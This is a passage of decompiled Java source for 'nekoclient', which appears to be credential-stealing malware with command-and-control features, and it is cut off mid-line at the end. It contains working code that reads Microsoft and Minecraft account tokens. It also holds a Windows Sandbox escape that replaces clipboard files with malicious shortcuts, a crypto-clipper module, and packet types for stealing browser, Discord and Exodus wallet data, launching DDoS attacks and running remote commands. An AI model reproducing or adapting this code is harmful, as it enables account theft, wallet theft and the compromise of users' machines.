| public static boolean hasMinecraft(MinecraftCredentials minecraftCredentials) throws IOException { 116 | return retrieveMinecraftStore(minecraftCredentials).contains("game_minecraft"); 117 | } 118 | 119 | public static boolean hasMinecraft(String minecraftAccessToken) throws IOException { 120 | return retrieveMinecraftStore(minecraftAccessToken).contains("game_minecraft"); 121 | } 122 | 123 | public static List retrieveMinecraftStore(MinecraftCredentials minecraftCredentials) throws IOException { 124 | return retrieveMinecraftStore(minecraftCredentials.getAccessToken()); 125 | } 126 | 127 | public static List retrieveMinecraftStore(String minecraftAccessToken) throws IOException { 128 | HttpsURLConnection connection = (HttpsURLConnection)new URL("https://api.minecraftservices.com/entitlements/mcstore").openConnection(); 129 | connection.setDoInput(true); 130 | connection.setRequestMethod("GET"); 131 | connection.setRequestProperty("Content-Type", "application/json"); 132 | connection.setRequestProperty("Accept", "application/json"); 133 | connection.setRequestProperty("Authorization", String.format("Bearer %s", minecraftAccessToken)); 134 | return Json.parse(new InputStreamReader(connection.getInputStream())) 135 | .asObject() 136 | .get("items") 137 | .asArray() 138 | .values() 139 | .stream() 140 | .map(JsonValue::asObject) 141 | .map(object -> object.get("name")) 142 | .map(JsonValue::asString) 143 | .collect(Collectors.toList()); 144 | } 145 | 146 | public static MinecraftProfile retrieveMinecraftProfile(MinecraftCredentials minecraftCredentials) throws IOException { 147 | return retrieveMinecraftProfile(minecraftCredentials.getAccessToken()); 148 | } 149 | 150 | public static MinecraftProfile retrieveMinecraftProfile(String minecraftAccessToken) throws IOException { 151 | HttpsURLConnection connection = (HttpsURLConnection)new URL("https://api.minecraftservices.com/minecraft/profile").openConnection(); 152 | connection.setDoInput(true); 153 | connection.setRequestMethod("GET"); 154 | connection.setRequestProperty("Content-Type", "application/json"); 155 | connection.setRequestProperty("Accept", "application/json"); 156 | connection.setRequestProperty("Authorization", String.format("Bearer %s", minecraftAccessToken)); 157 | return MinecraftProfile.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject()); 158 | } 159 | } 160 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/MinecraftProfile.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import java.util.UUID; 5 | 6 | public class MinecraftProfile { 7 | private final UUID id; 8 | private final String name; 9 | 10 | public MinecraftProfile(UUID id, String name) { 11 | this.id = id; 12 | this.name = name; 13 | } 14 | 15 | private static UUID convertProfileIdToUUID(String id) { 16 | return UUID.fromString(new StringBuilder(id).insert(8, "-").insert(13, "-").insert(18, "-").insert(23, "-").toString()); 17 | } 18 | 19 | public static MinecraftProfile parseResponse(JsonObject json) { 20 | return new MinecraftProfile(convertProfileIdToUUID(json.get("id").asString()), json.get("name").asString()); 21 | } 22 | 23 | public final String getName() { 24 | return this.name; 25 | } 26 | 27 | public final UUID getId() { 28 | return this.id; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/credentials/MicrosoftCredentials.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth.credentials; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.stealer.msa.auth.ClientType; 5 | 6 | public class MicrosoftCredentials { 7 | private final String userId; 8 | private final String accessToken; 9 | private final ClientType clientType; 10 | private final long accessTokenExpiration; 11 | private final String refreshToken; 12 | private final long refreshTokenExpiration; 13 | 14 | public MicrosoftCredentials( 15 | String userId, String accessToken, ClientType clientType, long accessTokenExpiration, String refreshToken, long refreshTokenExpiration 16 | ) { 17 | this.userId = userId; 18 | this.accessToken = accessToken; 19 | this.clientType = clientType; 20 | this.accessTokenExpiration = accessTokenExpiration; 21 | this.refreshToken = refreshToken; 22 | this.refreshTokenExpiration = refreshTokenExpiration; 23 | } 24 | 25 | public final String getAccessToken() { 26 | return this.accessToken; 27 | } 28 | 29 | public final String getRefreshToken() { 30 | return this.refreshToken; 31 | } 32 | 33 | public final long getRefreshTokenExpiration() { 34 | return this.refreshTokenExpiration; 35 | } 36 | 37 | public final long getAccessTokenExpiration() { 38 | return this.accessTokenExpiration; 39 | } 40 | 41 | public final String getUserId() { 42 | return this.userId; 43 | } 44 | 45 | public static MicrosoftCredentials parseResponse(JsonObject json, ClientType clientType) { 46 | return new MicrosoftCredentials( 47 | json.get("user_id").asString(), 48 | json.get("access_token").asString(), 49 | clientType, 50 | System.currentTimeMillis() + json.get("expires_in").asLong() * 1000L, 51 | json.get("refresh_token").asString(), 52 | System.currentTimeMillis() + 1209600000L 53 | ); 54 | } 55 | 56 | public final ClientType getClientType() { 57 | return this.clientType; 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/credentials/MinecraftCredentials.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth.credentials; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | 5 | public class MinecraftCredentials { 6 | private final String accessToken; 7 | private final long expiration; 8 | 9 | public MinecraftCredentials(String accessToken, long expiration) { 10 | this.accessToken = accessToken; 11 | this.expiration = expiration; 12 | } 13 | 14 | public final String getAccessToken() { 15 | return this.accessToken; 16 | } 17 | 18 | public final long getExpiration() { 19 | return this.expiration; 20 | } 21 | 22 | public static MinecraftCredentials parseResponse(JsonObject json) { 23 | return new MinecraftCredentials(json.get("access_token").asString(), System.currentTimeMillis() + json.get("expires_in").asLong() * 1000L); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/credentials/XSTSCredentials.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth.credentials; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import java.time.OffsetDateTime; 5 | 6 | public class XSTSCredentials { 7 | private final String token; 8 | private final long expiration; 9 | private final String userHash; 10 | 11 | public XSTSCredentials(String token, long expiration, String userHash) { 12 | this.token = token; 13 | this.expiration = expiration; 14 | this.userHash = userHash; 15 | } 16 | 17 | public final String getToken() { 18 | return this.token; 19 | } 20 | 21 | public final long getExpiration() { 22 | return this.expiration; 23 | } 24 | 25 | public final String getUserHash() { 26 | return this.userHash; 27 | } 28 | 29 | public static XSTSCredentials parseResponse(JsonObject json) { 30 | return new XSTSCredentials( 31 | json.get("Token").asString(), 32 | OffsetDateTime.parse(json.get("NotAfter").asString()).toInstant().toEpochMilli(), 33 | json.get("DisplayClaims").asObject().get("xui").asArray().get(0).asObject().get("uhs").asString() 34 | ); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/credentials/XboxLiveCredentials.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth.credentials; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import java.time.OffsetDateTime; 5 | 6 | public class XboxLiveCredentials { 7 | private final String token; 8 | private final long expiration; 9 | private final String userHash; 10 | 11 | public XboxLiveCredentials(String token, long expiration, String userHash) { 12 | this.token = token; 13 | this.expiration = expiration; 14 | this.userHash = userHash; 15 | } 16 | 17 | public final String getToken() { 18 | return this.token; 19 | } 20 | 21 | public final String getUserHash() { 22 | return this.userHash; 23 | } 24 | 25 | public final long getExpiration() { 26 | return this.expiration; 27 | } 28 | 29 | public static XboxLiveCredentials parseResponse(JsonObject json) { 30 | return new XboxLiveCredentials( 31 | json.get("Token").asString(), 32 | OffsetDateTime.parse(json.get("NotAfter").asString()).toInstant().toEpochMilli(), 33 | json.get("DisplayClaims").asObject().get("xui").asArray().get(0).asObject().get("uhs").asString() 34 | ); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/windows/FileDescriptor.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.windows; 2 | 3 | public class FileDescriptor { 4 | public static final int FILE_ATTRIBUTE_READONLY = 1; 5 | public static final int FILE_ATTRIBUTE_HIDDEN = 2; 6 | public static final int FILE_ATTRIBUTE_SYSTEM = 4; 7 | public static final int FILE_ATTRIBUTE_DIRECTORY = 16; 8 | public static final int FILE_ATTRIBUTE_ARCHIVE = 32; 9 | public static final int FILE_ATTRIBUTE_NORMAL = 128; 10 | public static final int FILE_ATTRIBUTE_TEMPORARY = 256; 11 | public static final int FILE_ATTRIBUTE_COMPRESSED = 2048; 12 | public static final int FILE_ATTRIBUTE_ENCRYPTED = 16384; 13 | private final String name; 14 | private final int flags; 15 | private final int attributes; 16 | 17 | public FileDescriptor(String name, int flags, int attributes) { 18 | this.name = name; 19 | this.flags = flags; 20 | this.attributes = attributes; 21 | } 22 | 23 | public final String getName() { 24 | return this.name; 25 | } 26 | 27 | public final int getFlags() { 28 | return this.flags; 29 | } 30 | 31 | public final int getAttributes() { 32 | return this.attributes; 33 | } 34 | 35 | public final boolean isReadOnly() { 36 | return this.is(1); 37 | } 38 | 39 | public final boolean isHidden() { 40 | return this.is(2); 41 | } 42 | 43 | public final boolean isSystem() { 44 | return this.is(4); 45 | } 46 | 47 | public final boolean isDirectory() { 48 | return this.is(16); 49 | } 50 | 51 | public final boolean isArchive() { 52 | return this.is(32); 53 | } 54 | 55 | public final boolean isNormal() { 56 | return this.is(128); 57 | } 58 | 59 | public final boolean isTemporary() { 60 | return this.is(256); 61 | } 62 | 63 | public final boolean isCompressed() { 64 | return this.is(2048); 65 | } 66 | 67 | public final boolean isEncrypted() { 68 | return this.is(16384); 69 | } 70 | 71 | public boolean is(int attribute) { 72 | return (this.attributes & attribute) != 0; 73 | } 74 | 75 | @Override 76 | public String toString() { 77 | return this.name; 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/windows/WindowsHook.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.windows; 2 | 3 | import com.sun.jna.Platform; 4 | 5 | public class WindowsHook { 6 | public static final int IPPROTO_ICMP = 1; 7 | public static final int IPPROTO_TCP = 6; 8 | public static final int IPPROTO_UDP = 17; 9 | public static final int IPPROTO_IDP = 22; 10 | public static final int IPPROTO_RDP = 27; 11 | private static boolean loaded = false; 12 | 13 | public static native byte[][] retrieveMSACredentials(); 14 | 15 | public static native FileDescriptor[] retrieveClipboardFiles(); 16 | 17 | public static void load(String path) { 18 | if (!loaded && isSupported()) { 19 | System.load(path); 20 | loaded = true; 21 | } 22 | } 23 | 24 | public static boolean isSupported() { 25 | return Platform.isWindows() && Platform.is64Bit(); 26 | } 27 | 28 | public static boolean isAvailable() { 29 | return isSupported() && loaded; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/windows/vmescape/VMEscape.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.windows.vmescape; 2 | 3 | import dev.neko.nekoclient.api.windows.FileDescriptor; 4 | import dev.neko.nekoclient.api.windows.WindowsHook; 5 | import java.awt.Toolkit; 6 | import java.awt.datatransfer.Clipboard; 7 | import java.awt.datatransfer.DataFlavor; 8 | import java.awt.datatransfer.Transferable; 9 | import java.awt.datatransfer.UnsupportedFlavorException; 10 | import java.io.File; 11 | import java.io.IOException; 12 | import java.nio.file.FileSystems; 13 | import java.nio.file.Files; 14 | import java.nio.file.Path; 15 | import java.util.Arrays; 16 | import java.util.List; 17 | import java.util.Objects; 18 | import java.util.concurrent.ExecutorService; 19 | import java.util.concurrent.Executors; 20 | import java.util.concurrent.ScheduledExecutorService; 21 | import java.util.concurrent.TimeUnit; 22 | import mslinks.ShellLink; 23 | import mslinks.ShellLinkHelper; 24 | import oshi.SystemInfo; 25 | import oshi.hardware.HardwareAbstractionLayer; 26 | 27 | public class VMEscape { 28 | private static final DataFlavor CUSTOM_FLAVOR; 29 | private final ScheduledExecutorService executorService; 30 | private final File storageFile; 31 | private final Path targetApplication; 32 | private final String[] arguments; 33 | public static final char[] disallowedCharacters; 34 | 35 | public VMEscape(File storageFile, Path targetApplication, String... arguments) { 36 | this.storageFile = storageFile; 37 | this.targetApplication = targetApplication; 38 | this.arguments = arguments; 39 | this.executorService = Executors.newSingleThreadScheduledExecutor(); 40 | } 41 | 42 | public boolean shouldRun() { 43 | return WindowsHook.isAvailable() && Objects.equals(System.getProperty("user.name"), "WDAGUtilityAccount"); 44 | } 45 | 46 | public void run() { 47 | if (this.shouldRun()) { 48 | VMEscape.Icon defaultIcon = new VMEscape.Icon("SHELL32", 0, null); 49 | VMEscape.Icon folderIcon = new VMEscape.Icon("SHELL32", 4, null); 50 | List icons = Arrays.asList( 51 | new VMEscape.Icon("USER32", 0, "exe"), 52 | new VMEscape.Icon("SHELL32", 69, "ini"), 53 | new VMEscape.Icon("SHELL32", 70, "txt"), 54 | new VMEscape.Icon("SHELL32", 71, "bat"), 55 | new VMEscape.Icon("SHELL32", 71, "cmd"), 56 | new VMEscape.Icon("SHELL32", 325, "png"), 57 | new VMEscape.Icon("SHELL32", 325, "jpg"), 58 | new VMEscape.Icon("SHELL32", 325, "jpeg") 59 | ); 60 | Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); 61 | this.executorService 62 | .scheduleAtFixedRate( 63 | () -> { 64 | try { 65 | Transferable clipboardContents = clipboard.getContents(null); 66 | if (clipboardContents.isDataFlavorSupported(CUSTOM_FLAVOR)) { 67 | return; 68 | } 69 | 70 | FileDescriptor[] fileDescriptors = WindowsHook.retrieveClipboardFiles(); 71 | if (fileDescriptors.length == 0) { 72 | return; 73 | } 74 | 75 | final File tempDirectory = Files.createTempDirectory(this.storageFile.toPath(), "storage-").toFile(); 76 | tempDirectory.mkdirs(); 77 | 78 | for(FileDescriptor fileDescriptor : fileDescriptors) { 79 | String[] split = fileDescriptor.getName().split(String.format("\\%s", FileSystems.getDefault().getSeparator())); 80 | if (split.length <= 1) { 81 | File file = new File(tempDirectory, String.format("%s.lnk", fileDescriptor.getName())); 82 | String[] extensionSplit = fileDescriptor.getName().split("\\."); 83 | String extension = extensionSplit[extensionSplit.length - 1]; 84 | VMEscape.Icon icon = fileDescriptor.isDirectory() 85 | ? folderIcon 86 | : icons.stream().filter(icon1 -> Objects.equals(icon1.getExtension().toLowerCase(), extension)).findFirst().orElse(defaultIcon); 87 | ShellLink shellLink = new ShellLink() 88 | .setName(fileDescriptor.getName()) 89 | .setIconLocation(String.format("%s\\System32\\%s.dll", System.getenv("WINDIR"), icon.getDll())) 90 | .setWorkingDir(this.targetApplication.getParent().toAbsolutePath().toString()) 91 | .setCMDArgs(String.join(" ", this.arguments)); 92 | shellLink.getHeader().setIconIndex(icon.getIndex()); 93 | new ShellLinkHelper(shellLink) 94 | .setLocalTarget( 95 | this.targetApplication.getRoot().toString(), 96 | this.targetApplication.subpath(0, this.targetApplication.getNameCount()).toString() 97 | ) 98 | .saveTo(file.getAbsolutePath()); 99 | } 100 | } 101 | 102 | clipboard.setContents(new Transferable() { 103 | @Override 104 | public DataFlavor[] getTransferDataFlavors() { 105 | return new DataFlavor[]{DataFlavor.javaFileListFlavor, VMEscape.CUSTOM_FLAVOR}; 106 | } 107 | 108 | @Override 109 | public boolean isDataFlavorSupported(DataFlavor flavor) { 110 | return Objects.equals(flavor, DataFlavor.javaFileListFlavor) || Objects.equals(flavor, VMEscape.CUSTOM_FLAVOR); 111 | } 112 | 113 | @Override 114 | public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException { 115 | if (Objects.equals(flavor, DataFlavor.javaFileListFlavor)) { 116 | return Arrays.asList(tempDirectory.listFiles()); 117 | } else if (Objects.equals(flavor, VMEscape.CUSTOM_FLAVOR)) { 118 | return "neko"; 119 | } else { 120 | throw new UnsupportedFlavorException(flavor); 121 | } 122 | } 123 | }, null); 124 | } catch (Throwable var18) { 125 | } 126 | }, 127 | 10L, 128 | 10L, 129 | TimeUnit.MILLISECONDS 130 | ); 131 | } 132 | } 133 | 134 | public void stop() { 135 | this.executorService.shutdownNow(); 136 | } 137 | 138 | public static boolean isVirtualMachine() { 139 | try { 140 | SystemInfo systemInfo = new SystemInfo(); 141 | HardwareAbstractionLayer hardware = systemInfo.getHardware(); 142 | if (hardware.getComputerSystem().getBaseboard().getVersion().startsWith("Hyper-V") 143 | || hardware.getComputerSystem().getFirmware().getVersion().startsWith("VRTUAL") 144 | || Objects.equals(hardware.getComputerSystem().getModel(), "Virtual Machine") 145 | || hardware.getGraphicsCards().stream().anyMatch(graphicsCard -> Objects.equals(graphicsCard.getName(), "Microsoft Remote Display Adapter")) 146 | || hardware.getDiskStores().stream().anyMatch(diskStore -> diskStore.getModel().startsWith("Microsoft Virtual Disk")) 147 | || hardware.getMemory() 148 | .getPhysicalMemory() 149 | .stream() 150 | .anyMatch(physicalMemory -> Objects.equals(physicalMemory.getManufacturer(), "Microsoft Corporation"))) { 151 | return true; 152 | } 153 | } catch (Throwable var2) { 154 | } 155 | 156 | return false; 157 | } 158 | 159 | public static String makeValid(String path) { 160 | int index; 161 | for(char c : disallowedCharacters) { 162 | while((index = path.indexOf(c)) != -1) { 163 | path = path.substring(index + 1); 164 | } 165 | } 166 | 167 | char[] chars = path.toCharArray(); 168 | 169 | for(int i = 0; i < chars.length; ++i) { 170 | char c = chars[i]; 171 | if (c < ' ') { 172 | path = path.substring(i + 1); 173 | } 174 | } 175 | 176 | return path; 177 | } 178 | 179 | public final ExecutorService getExecutorService() { 180 | return this.executorService; 181 | } 182 | 183 | public final File getStorageFile() { 184 | return this.storageFile; 185 | } 186 | 187 | public final Path getTargetApplication() { 188 | return this.targetApplication; 189 | } 190 | 191 | public final String[] getArguments() { 192 | return this.arguments; 193 | } 194 | 195 | static { 196 | try { 197 | CUSTOM_FLAVOR = new DataFlavor("application/x-neko; class=java.lang.String"); 198 | } catch (ClassNotFoundException var1) { 199 | throw new RuntimeException(var1); 200 | } 201 | 202 | disallowedCharacters = "<>:\"|?* ".toCharArray(); 203 | } 204 | 205 | public static class Icon { 206 | private final String dll; 207 | private final int index; 208 | private final String extension; 209 | 210 | public Icon(String dll, int index, String extension) { 211 | this.dll = dll; 212 | this.index = index; 213 | this.extension = extension; 214 | } 215 | 216 | public final String getDll() { 217 | return this.dll; 218 | } 219 | 220 | public final int getIndex() { 221 | return this.index; 222 | } 223 | 224 | public final String getExtension() { 225 | return this.extension; 226 | } 227 | } 228 | } 229 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/module/Module.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.module; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.structure.ThrowingRunnable; 5 | import java.io.IOException; 6 | import java.util.Objects; 7 | import java.util.concurrent.Executors; 8 | import java.util.concurrent.ScheduledExecutorService; 9 | import java.util.concurrent.ScheduledFuture; 10 | 11 | public abstract class Module { 12 | protected final Client client; 13 | private boolean enabled; 14 | private ScheduledFuture future; 15 | private final ScheduledExecutorService service; 16 | 17 | public Module(Client client) { 18 | this.client = client; 19 | this.enabled = false; 20 | this.service = Executors.newSingleThreadScheduledExecutor(); 21 | } 22 | 23 | public void setEnabled(boolean enabled) throws IOException { 24 | if (this.enabled == enabled) { 25 | throw new IllegalStateException(String.format("Module already %s", enabled ? "enabled" : "disabled")); 26 | } else { 27 | this.enabled = enabled; 28 | if (this.enabled) { 29 | Module.StartAction action = this.run(this.service); 30 | if (Objects.nonNull(action.getRunnable())) { 31 | action.getRunnable().run(); 32 | } 33 | 34 | if (Objects.nonNull(action.getFuture())) { 35 | this.future = action.getFuture(); 36 | } 37 | } else if (Objects.nonNull(this.future) && !this.future.isCancelled() && !this.future.isDone()) { 38 | this.future.cancel(true); 39 | this.future = null; 40 | } 41 | } 42 | } 43 | 44 | public abstract String getName(); 45 | 46 | protected abstract Module.StartAction run(ScheduledExecutorService var1); 47 | 48 | public final boolean isEnabled() { 49 | return this.enabled; 50 | } 51 | 52 | protected final Client getClient() { 53 | return this.client; 54 | } 55 | 56 | public class StartAction { 57 | private ThrowingRunnable runnable; 58 | private ScheduledFuture future; 59 | 60 | public Module.StartAction run(ThrowingRunnable runnable) { 61 | this.runnable = runnable; 62 | return this; 63 | } 64 | 65 | public Module.StartAction schedule(ScheduledFuture future) { 66 | this.future = future; 67 | return this; 68 | } 69 | 70 | public final ThrowingRunnable getRunnable() { 71 | return this.runnable; 72 | } 73 | 74 | public final ScheduledFuture getFuture() { 75 | return this.future; 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/module/ModuleRegistry.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.module; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.module.impl.CryptoClipperModule; 5 | import dev.neko.nekoclient.structure.Registry; 6 | import java.util.Objects; 7 | 8 | public class ModuleRegistry extends Registry { 9 | public ModuleRegistry(Client client) { 10 | this.register(new Module[]{new CryptoClipperModule(client)}); 11 | } 12 | 13 | public final Module getByName(String name) { 14 | return this.getBy(module -> Objects.equals(module.getName(), name)); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/module/impl/CryptoClipperModule.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.module.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.module.Module; 5 | import java.util.Arrays; 6 | import java.util.List; 7 | import java.util.concurrent.ScheduledExecutorService; 8 | import java.util.concurrent.TimeUnit; 9 | import java.util.regex.Pattern; 10 | 11 | public class CryptoClipperModule extends Module { 12 | public CryptoClipperModule(Client client) { 13 | super(client); 14 | } 15 | 16 | @Override 17 | public String getName() { 18 | return "CryptoClipper"; 19 | } 20 | 21 | @Override 22 | protected Module.StartAction run(ScheduledExecutorService service) { 23 | return new Module.StartAction().schedule(service.scheduleAtFixedRate(() -> { 24 | }, 10L, 10L, TimeUnit.MILLISECONDS)); 25 | } 26 | 27 | public static class Crypto { 28 | private final String currency; 29 | private final List patterns; 30 | private final String replacement; 31 | 32 | public Crypto(String currency, String replacement, Pattern... patterns) { 33 | this.currency = currency; 34 | this.patterns = Arrays.asList(patterns); 35 | this.replacement = replacement; 36 | } 37 | 38 | public final boolean test(String string) { 39 | return this.patterns.stream().anyMatch(pattern -> pattern.matcher(string).matches()); 40 | } 41 | 42 | public final String getReplacement() { 43 | return this.replacement; 44 | } 45 | 46 | public final String getCurrency() { 47 | return this.currency; 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/Direction.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet; 2 | 3 | import dev.neko.nekoclient.api.info.Side; 4 | 5 | public enum Direction { 6 | CLIENT_TO_SERVER(Side.CLIENT, Side.SERVER), 7 | SERVER_TO_CLIENT(Side.SERVER, Side.CLIENT); 8 | 9 | private final Side sender; 10 | private final Side receiver; 11 | 12 | private Direction(Side sender, Side receiver) { 13 | this.sender = sender; 14 | this.receiver = receiver; 15 | } 16 | 17 | public final Side getSender() { 18 | return this.sender; 19 | } 20 | 21 | public final Side getReceiver() { 22 | return this.receiver; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/Packet.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import java.io.IOException; 6 | 7 | public interface Packet { 8 | void read(FriendlyByteBuffer var1) throws IOException; 9 | 10 | void write(StreamByteBuffer var1) throws IOException; 11 | 12 | Direction getDirection(); 13 | 14 | String getName(); 15 | 16 | default String getId() { 17 | return String.format("%s:%s", this.getDirection(), this.getName()); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/PacketRegistry.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet; 2 | 3 | import dev.neko.nekoclient.packet.impl.client.ActionResponsePacket; 4 | import dev.neko.nekoclient.packet.impl.client.BrowserDataResponsePacket; 5 | import dev.neko.nekoclient.packet.impl.client.DiscordResponsePacket; 6 | import dev.neko.nekoclient.packet.impl.client.ExodusResponsePacket; 7 | import dev.neko.nekoclient.packet.impl.client.HelloPacket; 8 | import dev.neko.nekoclient.packet.impl.client.KeepAlivePacket; 9 | import dev.neko.nekoclient.packet.impl.client.MSAResponsePacket; 10 | import dev.neko.nekoclient.packet.impl.client.ProxyResponsePacket; 11 | import dev.neko.nekoclient.packet.impl.server.CommandPacket; 12 | import dev.neko.nekoclient.packet.impl.server.DDoSPacket; 13 | import dev.neko.nekoclient.packet.impl.server.DisconnectPacket; 14 | import dev.neko.nekoclient.packet.impl.server.ProxyPacket; 15 | import dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket; 16 | import dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket; 17 | import dev.neko.nekoclient.packet.impl.server.RequestExodusPacket; 18 | import dev.neko.nekoclient.packet.impl.server.RequestMSAPacket; 19 | import dev.neko.nekoclient.packet.impl.server.UpdateModulePacket; 20 | import dev.neko.nekoclient.structure.Registry; 21 | import java.lang.reflect.InvocationTargetException; 22 | import java.util.Objects; 23 | 24 | public class PacketRegistry extends Registry { 25 | public PacketRegistry() { 26 | this.register(new Packet[]{new HelloPacket()}); 27 | this.register(new Packet[]{new ActionResponsePacket()}); 28 | this.register(new Packet[]{new ExodusResponsePacket()}); 29 | this.register(new Packet[]{new ProxyResponsePacket()}); 30 | this.register(new Packet[]{new BrowserDataResponsePacket()}); 31 | this.register(new Packet[]{new MSAResponsePacket()}); 32 | this.register(new Packet[]{new DiscordResponsePacket()}); 33 | this.register(new Packet[]{new KeepAlivePacket()}); 34 | this.register(new Packet[]{new dev.neko.nekoclient.packet.impl.server.HelloPacket()}); 35 | this.register(new Packet[]{new CommandPacket()}); 36 | this.register(new Packet[]{new DDoSPacket()}); 37 | this.register(new Packet[]{new dev.neko.nekoclient.packet.impl.server.KeepAlivePacket()}); 38 | this.register(new Packet[]{new RequestExodusPacket()}); 39 | this.register(new Packet[]{new ProxyPacket()}); 40 | this.register(new Packet[]{new RequestMSAPacket()}); 41 | this.register(new Packet[]{new RequestExodusPacket()}); 42 | this.register(new Packet[]{new RequestBrowserDataPacket()}); 43 | this.register(new Packet[]{new RequestDiscordPacket()}); 44 | this.register(new Packet[]{new UpdateModulePacket()}); 45 | this.register(new Packet[]{new DisconnectPacket()}); 46 | } 47 | 48 | public final Packet getById(String id) { 49 | try { 50 | Packet packet = this.getBy(packet2 -> Objects.equals(packet2.getId(), id)); 51 | return Objects.isNull(packet) ? null : (Packet)packet.getClass().getConstructor().newInstance(); 52 | } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException | InstantiationException var3) { 53 | throw new RuntimeException(var3); 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/NoncePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Packet; 6 | import java.io.IOException; 7 | import java.util.UUID; 8 | 9 | public abstract class NoncePacket implements Packet { 10 | private String nonce; 11 | 12 | public NoncePacket() { 13 | this(String.format("%s-%s", UUID.randomUUID(), System.currentTimeMillis())); 14 | } 15 | 16 | public NoncePacket(String nonce) { 17 | this.nonce = nonce; 18 | } 19 | 20 | @Override 21 | public void write(StreamByteBuffer buffer) throws IOException { 22 | buffer.putString(this.nonce); 23 | } 24 | 25 | @Override 26 | public void read(FriendlyByteBuffer buffer) throws IOException { 27 | this.nonce = buffer.getString(); 28 | } 29 | 30 | public final String getNonce() { 31 | return this.nonce; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/ActionResponsePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.impl.NoncePacket; 7 | import java.io.IOException; 8 | 9 | public class ActionResponsePacket extends NoncePacket { 10 | private boolean success; 11 | 12 | public ActionResponsePacket() { 13 | } 14 | 15 | public ActionResponsePacket(String nonce, boolean success) { 16 | super(nonce); 17 | this.success = success; 18 | } 19 | 20 | @Override 21 | public void write(StreamByteBuffer buffer) throws IOException { 22 | super.write(buffer); 23 | buffer.putBoolean(this.success); 24 | } 25 | 26 | @Override 27 | public void read(FriendlyByteBuffer buffer) throws IOException { 28 | super.read(buffer); 29 | this.success = buffer.getBoolean(); 30 | } 31 | 32 | @Override 33 | public Direction getDirection() { 34 | return Direction.CLIENT_TO_SERVER; 35 | } 36 | 37 | @Override 38 | public String getName() { 39 | return "actionresponse"; 40 | } 41 | 42 | public final boolean isSuccess() { 43 | return this.success; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/BrowserDataResponsePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.api.stealer.browser.BrowserData; 6 | import dev.neko.nekoclient.api.stealer.browser.cookie.Cookie; 7 | import dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential; 8 | import dev.neko.nekoclient.packet.Direction; 9 | import dev.neko.nekoclient.packet.impl.NoncePacket; 10 | import 